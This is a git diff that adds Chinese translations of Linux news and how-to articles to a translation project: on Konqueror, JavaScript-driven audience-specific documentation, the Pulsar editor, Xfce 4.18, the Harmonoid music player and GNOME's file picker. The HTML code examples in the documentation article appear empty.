end of file diff --git a/published/202212/20221213.6 ⭐️⭐️ Try this Linux web browser as your file manager.md b/published/202212/20221213.6 ⭐️⭐️ Try this Linux web browser as your file manager.md new file mode 100644 index 0000000000..3bef7f1e58 --- /dev/null +++ b/published/202212/20221213.6 ⭐️⭐️ Try this Linux web browser as your file manager.md @@ -0,0 +1,101 @@ +[#]: subject: "Try this Linux web browser as your file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-konqueror" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15392-1.html" + +试试这个 Linux 网络浏览器作为你的文件管理器 +====== + +![][0] + +> KDE Plasma 桌面将 Konqueror 列为网络浏览器,但它也是一个功能性的 Linux 文件管理器。 + +Konqueror 是 KDE Plasma 桌面的文件管理器和 Web 浏览器。在许多方面,Konqueror 定义了“网络透明度”,因为它适用于个人桌面。使用 Konqueror,你可以像浏览本地文件一样轻松地浏览远程网络文件(包括互联网本身,它实际上只是通过花哨的镜头查看的远程文件的集合)。有时需要进行一些配置和设置,具体取决于你需要访问的文件共享类型。但最终,通过 Konqueror 实现了即时访问你有权查看的所有数据的目标,这是其他文件管理器无法实现的。在其巅峰时期,它开发的开源网络引擎(KHTML) 被苹果和谷歌采用,并作为现代网络浏览和 Electron 应用开发的核心库延续至今。 + +今天,KDE Plasma 桌面将 Konqueror 作为网络浏览器。文件管理功能已正式转移到 [Dolphin][1],但 Konqueror 仍然能够完成这项工作。要获得完整和经典的 Konqueror 体验,你应该尝试 Plasma 桌面 3.x 的复刻 [TDE][2],但在本文中,我在 KDE Plasma 桌面版本 5 中使用 Konqueror。 + +### 安装 Konqueror + +如果你已经在运行 KDE Plasma 桌面,你可能已经安装了 Konqueror。如果没有,你可以从发行版软件仓库中安装它。在 Fedora、CentOS、Mageia、OpenMandriva 和类似软件上: + +``` +$ sudo dnf install -y konqueror konqueror-plugins +``` + +在 Debian、Linux Mint、Elementary 和类似软件上: + +``` +$ sudo apt install -y konqueror konqueror-plugins +``` + +![Image of Konqueror's file manager.][3] + +### 将 Konqueror 配置为文件管理器 + +Konqueror 最方便的功能是它除了是一个文件管理器之外,还是一个网络浏览器。至少,这在理论上是它最方便的功能。如果你没有将 Konqueror 用作网络浏览器,那么你可能不希望每个文件管理器窗口顶部都有 URL 区域或搜索引擎区域。 + +与大多数 KDE 应用一样,Konqueror 是高度可配置的。你可以重新定位并添加和删除工具栏、添加或删除按钮等。 + +要调整显示的工具栏,请启动 Konqueror 并转到 “设置Settings” 菜单并选择 “显示的工具栏Toolbars Shown”。主工具栏可能是你真正需要的文件管理工具栏。它是带有导航按钮的工具栏。但是,你甚至可能不需要它,只要你乐于使用键盘快捷键或使用 “Go” 菜单进行导航即可。 + +Konqueror 中的键盘导航与 Dolphin 中的相同: + +- `Alt + ←`:后退一步 +- `Alt + ↑`:移动到父目录 +- `Alt + Home`:转到主目录 + +### 侧边栏 + +要获得包含常用文件夹列表的侧边栏,请按 `F9` 或从 “设置Settings” 菜单中选择 “显示边栏Show Sidebar”。这会在 Konqueror 窗口的左侧添加一个按钮栏。单击 “Home” 图标以显示你的主目录的文件树。 + +![Image of Konqueror with a sidebar.][4] + +正如按钮栏所暗示的那样,此侧边栏可用于多种用途。你可以显示书签位置,你最近访问过的位置的历史,远程文件系统等。 + +### 应用 + +有些人习惯于应用菜单。它高效快捷,并且始终在同一个地方。其他人更喜欢从终端启动应用。 + +不过,还有另一种查看应用启动器的方法。Konqueror 的 “Go” 菜单允许你转到名为 “应用程序Applications” 的元位置,它按类别列出了应用程序启动器,就像文件管理器中的文件一样。 + +![Image of applications in Konqueror.][5] + +你也可以在 Dolphin 中看到这个,方法是在位置区域中手动输入 `applications:`,此外,Konqueror 提供了一个菜单选项,可以直接进入该位置。 + +### 网络文件夹 + +类似地,Konqueror 还提供了一个菜单选择进入网络文件夹。其中最好的网络文件夹是“互联网”,但“网络文件夹”是 HTTP 以外的网络协议的元位置。大多数远程位置需要一些设置,因为它们通常需要身份验证才能访问。它们中的大多数都可以通过 “系统设置System Settings” 进行配置,包括可通过蓝牙、SMB 或 CIFS、MTP 设备、Fish(通过 SSH 的文件系统)访问的文件系统,甚至是 Google Drive。 + +### 拆分视图 + +你可以将 Konqueror 窗口拆分为多个窗格,这样你就可以同时查看两个文件夹而无需打开两个窗口。有两种拆分选项:垂直拆分,一个窗格在左侧,另一个窗格在右侧;或者水平拆分,一个窗格在另一个窗格之上。 + +要分割 Konqueror 窗口,进入 “窗口Window” 菜单,选择 “左/右分割视图Split View Left/Right” 或 “上/下分割视图Spit View Top/Bottom”。每个窗格都是独立的,所以你可以在一个窗格中浏览,然后把文件从一个窗格拖到另一个窗格。 + +### 征服你的文件系统 + +Konqueror 不 _仅仅_ 是一个文件管理器,我认为 Plasma 桌面的开发者并不期望你把它作为你的主要文件管理器。在 “文件File” 菜单中甚至有一个选项可以在 **Dolphin** 中打开一个位置,这表明 Konqueror 是一个带有文件管理器组件的网络浏览器。但是,当你需要时,这个文件管理器组件是一个不错的功能。如果你不喜欢 Dolphin 提供的所有功能,Konqueror 可能是一个合适的替代品。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-konqueror + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/12/linux-file-manager-dolphin +[2]: https://opensource.com/article/19/12/linux-trinity-desktop-environment-tde +[3]: https://opensource.com/sites/default/files/2022-10/konqueror-filemanager.png +[4]: https://opensource.com/sites/default/files/2022-10/konqueror-sidebar.png +[5]: https://opensource.com/sites/default/files/2022-10/konqueror-applications.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/29/141332adtz8mb8m8h8z3d4.jpg \ No newline at end of file diff --git a/published/202212/20221215.2 ⭐️⭐️ Improve your documentation with JavaScript.md b/published/202212/20221215.2 ⭐️⭐️ Improve your documentation with JavaScript.md new file mode 100644 index 0000000000..b33db8f545 --- /dev/null +++ b/published/202212/20221215.2 ⭐️⭐️ Improve your documentation with JavaScript.md @@ -0,0 +1,243 @@ +[#]: subject: "Improve your documentation with JavaScript" +[#]: via: "https://opensource.com/article/22/12/dynamic-documentation-javascript" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15375-1.html" + +使用 JavaScript 增强你的文档 +====== + +![][0] + +> 让你的开源项目文档充满活力,从而吸引各种经验水平的用户。 + +开源软件项目通常拥有非常多样化的用户人群。有些用户非常擅长使用该系统,并且只需要很少的文档。对于这些实力派用户,文档只需要提供必要的提示,并且可以包含更多的技术信息,比如说在 Shell 中运行的命令行。有些用户可能只是初学者。这些用户需要更多的帮助来设置系统并学习如何使用它。 + +写一个同时适合这两个用户群体的文档是令人生畏的。网站文档需要在 “提供详细的技术信息” 和 “提供更多的概述和指导” 之间寻求一个平衡。这是一个很难找到的平衡。如果你的文档不能同时满足这两个用户人群,那么考虑一下另外一个选择 —— 动态文档。 + +探索在网页中添加一点 [JavaScript][1] 使用户可以选择自己想看的内容。 + +### 构建你的内容 + +你可以把例程添加的你的文档中需要同时满足 专家expert初学者novice 的地方。在这个例程中,我们可以使用一个虚构的名为 AwesmeProject 的音乐播放器。 + +你可以用 HTML 编写一个简短的安装文档,通过 HTML 的 class 功能同时为专家和初学者提供操作指南。 + +例如,你可以用下面的代码来为专家定义一个段落: + +``` +

+``` + +这同时指派了 “专家类” 和 “读者类”。你可以用下面的代码来为初学者创建一个相同的段落。 + +``` +

+``` + +完整的 HTML 文件同时包含初学者的段落和专家的段落。 + +``` + + + + + + +How to install the software + + + + +

How to install the software

+ +

Thanks for installing AwesomeProject! With AwesomeProject, +you can manage your music collection like a wizard.

+ +

But first, we need to install it:

+ +

You can install AwesomeProject from +source. Download the tar file, extract it, then run: +./configure ; make ; make install

+ +

AwesomeProject is available in +most Linux distributions. Check your graphical package manager and search for AwesomeProject to install it.

+ + + + +``` + +例子中的 HTML 文档没有与之关联的样式表,所以浏览器中会显示所有的段落。 + +![Image of html in black text.][2] + +我们可在文档中添加一些简单的样式来为 读者reader专家expert 或者 初学者novice 突出任何元素。为了使不同的文本更容易区分,让我们把读者类的背景颜色设置成米白色,专家类的字体颜色设置为深红色,初学者的字体颜色则设置为深蓝色。 + +``` + + + + + + +How to install the software + + + + + + + +

How to install the software

+``` + +当你在浏览器中查看这个网页时,这些样式有助于突出这两个段落。安装指导的所有段落都有一个米白色背景,因为他们都有 读者reader 这个类。第一个段落的字体是深红色的,这是由 专家expert 这个类定义的。第二个段落的字体是深蓝色的,则是由 初学者novice 这个类定义的。 + +![Image of html in red and black text.][3] + +### 添加 JavaScript 控件 + +这些类的应用,使你可以添加一些简单的 JavaScript 函数,只显示其中一个内容块。一个方法是,首先给所有的读者类元素设置 `display:none` 。这会将内容隐藏,使其不会在页面上显示。然后,用函数将你想显示的类元素设置为 `display:block` : + +``` + +``` + +要在 HTML 文档中使用这个 JavaScript,你可以吧这个功能附加到一个按钮上。由于 `readerview` 函数需要一个听众audience(这应该是相对那个虚拟音乐播放器来说的)作为参数,你可以使用你想查看的听众类别来调用这个函数,可以是读者reader专家expert 或者 初学者novice 。 + +``` + + + +How to install the software + + + + + + + +

How to install the software

+ + + +

Thanks for installing AwesomeProject! With AwesomeProject, +you can manage your music collection like a wizard.

+ +

But first, we need to install it:

+

You can install AwesomeProject from +source. Download the tar file, extract it, then run +./configure ; make ; make install

+ +

AwesomeProject is available in +most Linux distributions. Check your graphical package +manager and search for AwesomeProject to install it.

+ + + +``` + +有了这些设置,用户可以在网页上选择他们想看的文本。 + +![Image of window that allows you to select between novice and expert text.][4] + +点击任何一个按钮都将只显示用户想要阅读的文本。例如,如果你点击了 “阅读初学者内容view novice text” 按钮,你就只会看到蓝色段落。 + +![Image showing blue text when you press the novice button.][5] + +点击 “阅读专家内容view expert text” 按钮,就会隐藏初学者文本,只显示红色的专家文本。 + +![Image of red text after the expert button is clicked.][6] + +### 将此扩展到你的文档 + +如果你的项目需要你为不同的听众编写多个操作文档,你可以考虑使用这种方法,一次发布,多次阅读。为所有的用户编写一个文档,是每个人都能很容易的发现和分享你项目的文档。而你也不必同时维护尽在细节上有所不同的多个文档。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/dynamic-documentation-javascript + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosehng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/downloads/learn-javascript +[2]: https://opensource.com/sites/default/files/2022-12/publishonec.textblack.png +[3]: https://opensource.com/sites/default/files/2022-12/publishone.red_.blue_.png +[4]: https://opensource.com/sites/default/files/2022-12/publishone.novicexpert.png +[5]: https://opensource.com/sites/default/files/2022-12/publishone.blue_.png +[6]: https://opensource.com/sites/default/files/2022-12/publishone.red_.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/23/100615quu385qf83bu3p35.jpg \ No newline at end of file diff --git a/published/202212/20221215.4 ⭐️ Pulsar A Community-Led Open Source Code Editor to Continue the Legacy of Atom.md b/published/202212/20221215.4 ⭐️ Pulsar A Community-Led Open Source Code Editor to Continue the Legacy of Atom.md new file mode 100644 index 0000000000..008fd59109 --- /dev/null +++ b/published/202212/20221215.4 ⭐️ Pulsar A Community-Led Open Source Code Editor to Continue the Legacy of Atom.md @@ -0,0 +1,85 @@ +[#]: subject: "Pulsar: A Community-Led Open Source Code Editor to Continue the Legacy of Atom" +[#]: via: "https://news.itsfoss.com/pulsar-editor/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15356-1.html" + +Pulsar:一个由社区主导的以继承 Atom 的开源代码编辑器 +====== + +> Pulsar 的目标是成为 Atom 的替代品,随着其开发的进一步深入,将挑战 Visual Studio Code。 + +![Pulsar:一个由社区领导的开源代码编辑器,以延续 Atom 遗志][1] + +微软决定杀死 Atom 文本编辑器,以支持 Visual Studio Code,这并不奇怪。 + +如果你不知道,你可以看一下我们以前的报道: + +> [为了支持微软 VS Code,微软的 GitHub 正在扼杀 GitHub 的 Atom 编辑器][5] + +虽然你可能有了更好的选择,但曾经流行的 Atom 是一个令人印象深刻的工具。 + +**它有一个可用的社区构建版**;然而,还有一个新的版本(**Pulsar**),旨在实现与原始 Atom 对等的功能,并引入现代功能和更新架构。 + +根据它的文档,原来开发 Atom 社区版的团队现在参与创建了 Pulsar。他们之所以做一个独立的复刻版本,是因为项目的目标不同。 + +**Pulsar** 希望将一切现代化,以成为 Atom 的继承者。 + +> 💡 Pulsar 是一个新项目,作为 Atom 的新复刻,有开发/测试版本可供测试。 + +### Pulsar 编辑器看起来怎么样? + +![Pulsar 编辑器][2] + +当然,用户界面也是大同小异。考虑到 Pulsar 还没有一个稳定的版本,看起来有时会显得有些混淆。 + +然而,文档、软件包以及从 Git 仓库安装软件包的能力等基本要素看起来都已具备。 + +根据官方网站的介绍,Pulsar 的主要功能亮点包括: + +- 跨平台支持(Linux、macOS 和 Windows) +- 内置的软件包管理器 +- 智能自动补全 +- 文件系统浏览器 +- 多窗格的用户界面 +- 查找和替换功能 + +在写这篇文章时,Pulsar 还不能自动更新。你可以通过官方网站安装较新的版本。 + +![Pulsar 编辑器设置][3] + +你可以自定义编辑器、改变键盘绑定、管理软件包、应用主题,并通过所有可用选项配置你的体验。 + +到目前为止,要说 Pulsar 是否会比 Atom 社区版更好还为时过早。然而,这是我们可以关注的事情。 + +### 下载并试用 Pulsar + +如前所述,Pulsar 正处于早期开发阶段。因此,你可以找到用于 Linux 发行版的二进制文件和 AppImage 文件,你可以在任何发行版上试用。 + +在我的测试中,它 **在 Linux Mint 不能正常运行**,但在 **Ubuntu 22.04 LTS** 上工作良好。 + +你可以到它的 [官方下载页面][4] 去获取你的系统所需的软件包,并进行测试。 + +> **[Pulsar 编辑器][4]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pulsar-editor/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/pulsar-hackable-text-editor.png +[2]: https://news.itsfoss.com/content/images/2022/12/pulsar-editor.png +[3]: https://news.itsfoss.com/content/images/2022/12/pulsar-editor-settings.png +[4]: https://pulsar-edit.dev/download.html#releases +[5]: https://news.itsfoss.com/atom-being-discontinued/ \ No newline at end of file diff --git a/published/202212/20221215.5 ⭐️ XFCE 4.18 Release Looks Impressive!.md b/published/202212/20221215.5 ⭐️ XFCE 4.18 Release Looks Impressive!.md new file mode 100644 index 0000000000..73a9c460db --- /dev/null +++ b/published/202212/20221215.5 ⭐️ XFCE 4.18 Release Looks Impressive!.md @@ -0,0 +1,138 @@ +[#]: subject: "XFCE 4.18 Release Looks Impressive!" +[#]: via: "https://news.itsfoss.com/xfce-4-18-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15355-1.html" + +Xfce 4.18 版本发布:令人印象深刻 +====== + +> Xfce 4.18 已发布,添加了一些有趣的功能和细微的变化。 + +![Xfce 4.18 版本看起来令人印象深刻!][1] + +Xfce 是目前最好的桌面环境之一。它因其简单性而受欢迎,是一个轻量级的选择。 + +不像其他桌面环境,你不会看到 Xfce 定期的添加功能。所以,等待升级总是令人兴奋的。 + +Xfce 4.18 是最新的版本,它增加了一些有用的功能和其他技术改进。让我重点介绍一下。 + +### Xfce 4.18 的新变化 + +![Xfce 4.18 有新的默认壁纸][2] + +虽然这不是一个完整的变化列表,但其中一些比较明显的变化包括: + +- 文件管理器的改进。 +- 桌面和面板的变化。 +- 更多的设置。 +- 新的壁纸。 + +#### 文件管理器的改进 + +![Xfce 4.18 文件管理器的分割视图][3] + +Xfce 的默认文件管理器 Thunar 在这个版本中得到了相当多的改变。作为许多 Linux 用户的最爱,Thunar 有一个干净直观的用户界面,使其对不同技能水平的人都很简单易用。 + +在这个版本中,这个有用的工具获得了几个新功能。比如说: + +- 工具条上新的搜索图标使用户能够快速搜索文件和文件夹。 +- 你现在可以添加一个分割视图。 +- 启用独立的图像预览。 + +还有一个有趣的新增功能,可以帮助你**高亮文件**,以便快速发现它们。你可以设置一个前景和背景颜色,如果你不想要这个功能,也可以重置。 + +![xfce 4.18 文件高亮][4] + +你可以从文件的属性选项中访问这个功能。 + +Thunar 文件管理器还增加了一些其他功能,包括: + +- 一个用于定制键盘快捷键的新标签。 +- 新的书签菜单。 + +#### 精致的设置和桌面变化 + +Xfce 桌面的大部分都保持不变。你不应该期待开箱后有不同的用户体验。 + +虽然没有重大的视觉改造,但有细微的完善和功能改进。 + +例如,你可以发现日历小部件的新能力。显示设置提供了更多选项,即使你没有连接多个显示器。 + +Xfce 面板也有一些变化。 + +![Xfce 4.18 面板设置][5] + +这些变化包括用像素而不是百分比来调整高度,以及一个新的 “保持面板在窗口上方” 选项。这使得窗口可以在面板下面延伸,而不是在顶部被切断。 + +更不用说,时钟小程序现在可以自定义其字体类、字体大小和布局。 + +![Xfce 4.18 时钟][6] + +#### 新壁纸 + +当然,我们也得到了一些新的壁纸;你已经在本文的开头看到了新的默认壁纸。 + +![Xfce 4.18 新壁纸集][7] + +如果你很好奇,你可以看看其他为 [壁纸竞赛][8] 提交的各种作品。也许你会发现别人不喜欢的东西。 + +![Xfce 4.18 新壁纸集锦][9] + +这些是计划添加到背景集的其它候选作品。 + +#### 其他变化 + +除了之前提到的那些,这个版本还引入了一些其他变化。 + +- 初步的 Wayland 支持,它允许 Xfce 在 Wayland 显示服务器上运行。 +- GTK4 的更新,提供了更好的性能和稳定性。 +- 一些核心应用程序的小更新,包括对 Xfdesktop、Xfwm4 和 Xfce4-panel 应用程序的改进。 + +关于完整的变化列表,你可以参考 [官方博客文章][10]。 + +### 获得 Xfce 4.18 + +你可以通过软件库为滚动发布的发行版(如 Arch Linux)安装它。对于其他发行版,如果你不想自己做实验,你可能必须等待官方的更新。 + +要想快速尝试,你可以安装 Xubuntu 23.04 日常构建版来获得这些功能。 + +如果你使用的是其他为了稳定起见而不提供快速桌面环境更新的 Linux 发行版,如果你知道自己在做什么,你可以尝试手动安装。 + +> **[下载 Xfce 4.18][11]** + +### 总结 + +Xfce 4.18 是 Xfce 桌面环境的一次重大更新,有许多新的功能和改进。 + +Thunar 文件管理器的更新尤其值得注意,因为它们为用户提供了更多的控制和定制选项。初步的 Wayland 支持和 GTK4 更新将提高性能和稳定性。 + +总的来说,Xfce 4.18是一个受欢迎的更新,将改善 Xfce 用户的用户体验。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/xfce-4-18-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/xfce-4-18-release.png +[2]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-hero.jpg +[3]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-file-manager.jpg +[4]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-file-highlight.jpg +[5]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-panel.jpg +[6]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-clock-settings.jpg +[7]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-new-wallaper.jpg +[8]: https://gitlab.xfce.org/artwork/public/-/issues/1#note_58300 +[9]: https://news.itsfoss.com/content/images/2022/12/xfce-4-18-new-wallpapers.jpg +[10]: https://alexxcons.github.io/blogpost_8.html +[11]: https://www.xfce.org/ diff --git a/published/202212/20221216.1 ⭐️ Harmonoid A Beautiful Cross-Platform Music Player With Essential Features.md b/published/202212/20221216.1 ⭐️ Harmonoid A Beautiful Cross-Platform Music Player With Essential Features.md new file mode 100644 index 0000000000..d7ac11e4c3 --- /dev/null +++ b/published/202212/20221216.1 ⭐️ Harmonoid A Beautiful Cross-Platform Music Player With Essential Features.md @@ -0,0 +1,108 @@ +[#]: subject: "Harmonoid: A Beautiful Cross-Platform Music Player With Essential Features" +[#]: via: "https://itsfoss.com/harmonoid/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15386-1.html" + +Harmonoid:基本够用的漂亮的跨平台音乐播放器 +====== + +![][0] + +幸运的是,[Linux 的优秀开源音乐播放器][1] 并不缺乏。过去我们已经介绍了多种选择。 + +在这里,我重点介绍一款免费使用(但不是自由开源软件),可用于多种平台(包括 Linux、Windows 和 Android)的音乐播放器。 + +### Harmonoid:Material Design 的直观用户体验 + +![harmonoid player][2] + +Harmonoid 是用 Dart 语言编写的。它利用 [libmpv][3] 和 [mpv][4] 在桌面平台上实现媒体播放功能。 + +它提供了一个优秀的用户界面。并且不使用 electron.js。所以,如果你讨厌 Electron,你可以试试这个。 + +通常,你会在 Android 上看到应用具有 Material Design UI。如果你不知道,Material 是谷歌的开源设计系统。 + +![harmonoid player info][5] + +没有多少创作者将它用于桌面应用。作为一种改变,Harmonoid 具有 Material Design 用户体验,可以同时做到快速和直观。 + +这让 Harmonoid 为 Linux 用户呈现了独特的用户体验。动画感觉流畅且易于导航,并提供大量有价值的功能来帮助管理你的音乐库。 + +![harmonoid url][6] + +如果你想要一个有良好 UI 和功能集的音乐播放器,我建议你尝试一下 Harmonoid。 + +### Harmonoid 的特点 + +![harmonoid player options][7] + +[Harmonoid][8] 可能看起来像一个简单的音乐播放器,但它包含了一些最有价值的功能。他们包括: + +- 跟唱功能,你可以找到歌词,或者你可以手动添加它们 +- 编辑歌曲详细信息,包括艺术家、年份、流派、曲目编号、专辑和标题 +- 轻松分类和排序你的音乐列表 +- 一个快速搜索功能来找到你要找的东西 +- 缓存元数据以在你每次加载时提供快速体验 +- 与 Windows 和 Linux 的良好集成支持 +- 支持在 Discord 中展示,可以显示你的音乐以及插图和播放按钮 +- 调整音乐的速度、音量和音高 +- 原始元数据读取器可读取你库中任何文件或歌曲的标签 +- 播放由 MPV 提供 +- .LRC 文件兼容性 +- 支持在线 URL(YouTube)和广播流 +- 跨平台 +- 多位艺术家支持 +- 深色/浅色模式 + +除了这些之外,还有一些小功能可以发挥很大的作用,例如**无缝播放和上下文菜单集成,并且它通常是一个轻量级应用**。 + +Harmonoid 应该非常适合想要同时播放音乐或整理收藏的用户。我会说它提供了两全其美的方法。 + +![harmonoid settings][9] + +### 在 Linux 上安装 Harmonoid + +你可以从其 [下载页面][10] 获取 .deb/.rpm 包并将其安装在基于 Ubuntu 的发行版或 Fedora 上。 + +此外,你需要使用以下命令安装 mpv 和 libmpv(对于 Ubuntu): + +``` +sudo apt install mpv lipmpv-dev +``` + +确保安装这些软件包可以让你用 Harmonoid 处理所有类型的文件进行播放。 + +你还可以在 [AUR][11] 上找到基于 Arch 的发行版的 Harmonoid。要探索有关该播放器的更多信息,请访问其 [GitHub 页面][12]和[官方网站][8]。 + +你是否尝试过 Harmonoid 在你的 Linux 系统上播放和整理音乐? 你最喜欢的 Linux 音乐播放器是什么? 在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/harmonoid/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-music-players-linux/ +[2]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-player.png +[3]: https://github.com/mpv-player/mpv/tree/master/libmpv +[4]: https://mpv.io +[5]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-player-info.png +[6]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-url.png +[7]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-player-options.png +[8]: https://harmonoid.com +[9]: https://itsfoss.com/content/images/wordpress/2022/12/harmonoid-settings.png +[10]: https://harmonoid.com/downloads +[11]: https://aur.archlinux.org/packages/harmonoid-bin +[12]: https://github.com/harmonoid/harmonoid +[0]: https://img.linux.net.cn/data/attachment/album/202212/27/173656kmq05d54llttls55.jpg \ No newline at end of file diff --git a/published/202212/20221216.3 ⭐️ Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years.md b/published/202212/20221216.3 ⭐️ Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years.md new file mode 100644 index 0000000000..945591e75c --- /dev/null +++ b/published/202212/20221216.3 ⭐️ Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years.md @@ -0,0 +1,88 @@ +[#]: subject: "Better Late Than Never! GNOME's File Picker Adds Thumbnail View After 18 Years" +[#]: via: "https://news.itsfoss.com/gnome-file-picker/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15380-1.html" + +虽迟但到!GNOME 的文件选取器在 18 年后增加了缩略图视图 +====== + +> 一个长期缺位、也是急需的功能请求,终于通过了! + +![][1] + +如今,程序的用户界面是非常重要的;即使是最简单的交互也能决定用户的体验。 + +GNOME 的文件选取器在查看文件时缺乏适当的缩略图预览,而是依赖于一个普通的列表视图。这对许多人来说可能是不直观的。 + +多年来,缺乏这一功能也成了许多段子和讨论的主题。 + +但是现在,在最初的 [功能请求][2] 提出 18 年之后,GNOME 终于可以支持一个合适的缩略图视图了。 + +让我们来看看这个即将到来的对 GNOME 文件选取器的改变。 + +### 该功能将随着 GNOME 44 到来 + +![GNOME 文件缩略图视图][3] + +正如这个由 GNOME 开发者 [Matthias Clasen][4] 提供的早期构建截图所展示的。GNOME 上的文件选取器将具有一个缩略图视图。 + +这就是它在 GNOME 43 上的样子: + +![GNOME 43 的文件选取器][5] + +**如何访问它?** 在 GNOME 上文件选取器的网格视图里,可以显示文件和文件夹的缩略图预览。 + +现在将很容易区分文件管理器中的项目;不再需要打开一个文件来查看它包含的内容了! + +![GNOME 文件缩略图视图选取器][6] + +当这个功能到来时,你可以通过点击右上方的新视图切换按钮来启用它。 + +**有什么变化?** 对于一个简单的功能添加来说,18 年是一个很长的时间。众多的技术原因使其实施成为一项艰巨的任务。 + +但我很高兴,它终于来了。😃 + +使之成为可能的原因之一是最近在 GTK 代码库中进行的废弃和现代化工作。 + +> 💡 GTK 是 GNOME 的一切的核心的工具箱。 + +而且,这些变化导致 [GtkListView][7] 和 [GtkGridView][8] 使用相同的数据模型来实现这个功能。 + +**预期何时?** 这个历史上的 [合并请求][9] 已经被接受,并为其引入 GNOME 铺平道路。 + +你可以期待它在 2023 年的某个时候与 GNOME 44 一起到来。 + +我很期待!😁 + +我们将把它作为 GNOME 44 功能提供的一部分来报道。所以,请继续关注我们的报道吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-file-picker/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/gtk-file-chooser-gets-thumbnail-preview-support.png +[2]: https://bugzilla.gnome.org/show_bug.cgi?id=141154 +[3]: https://news.itsfoss.com/content/images/2022/12/GNOME_File_Thumbnail.png +[4]: https://twitter.com/matthias_clasen +[5]: https://news.itsfoss.com/content/images/2022/12/file-picker-now.png +[6]: https://news.itsfoss.com/content/images/2022/12/GNOME_File_Thumbnail-2.png +[7]: https://gitlab.gnome.org/GNOME/gtk/-/blob/main/gtk/gtklistview.c +[8]: https://gitlab.gnome.org/GNOME/gtk/-/blob/main/gtk/gtkgridview.c +[9]: https://gitlab.gnome.org/GNOME/gtk/-/merge_requests/5163 +[10]: https://mastodon.social/@itsfoss +[11]: https://twitter.com/itsfoss2 +[12]: https://notion.grsm.io/front-static/logo-ios.png +[13]: https://www.notion.so/front-static/meta/default.png diff --git a/published/202212/20221218.1 ⭐️ Try this Python-based file manager on Linux.md 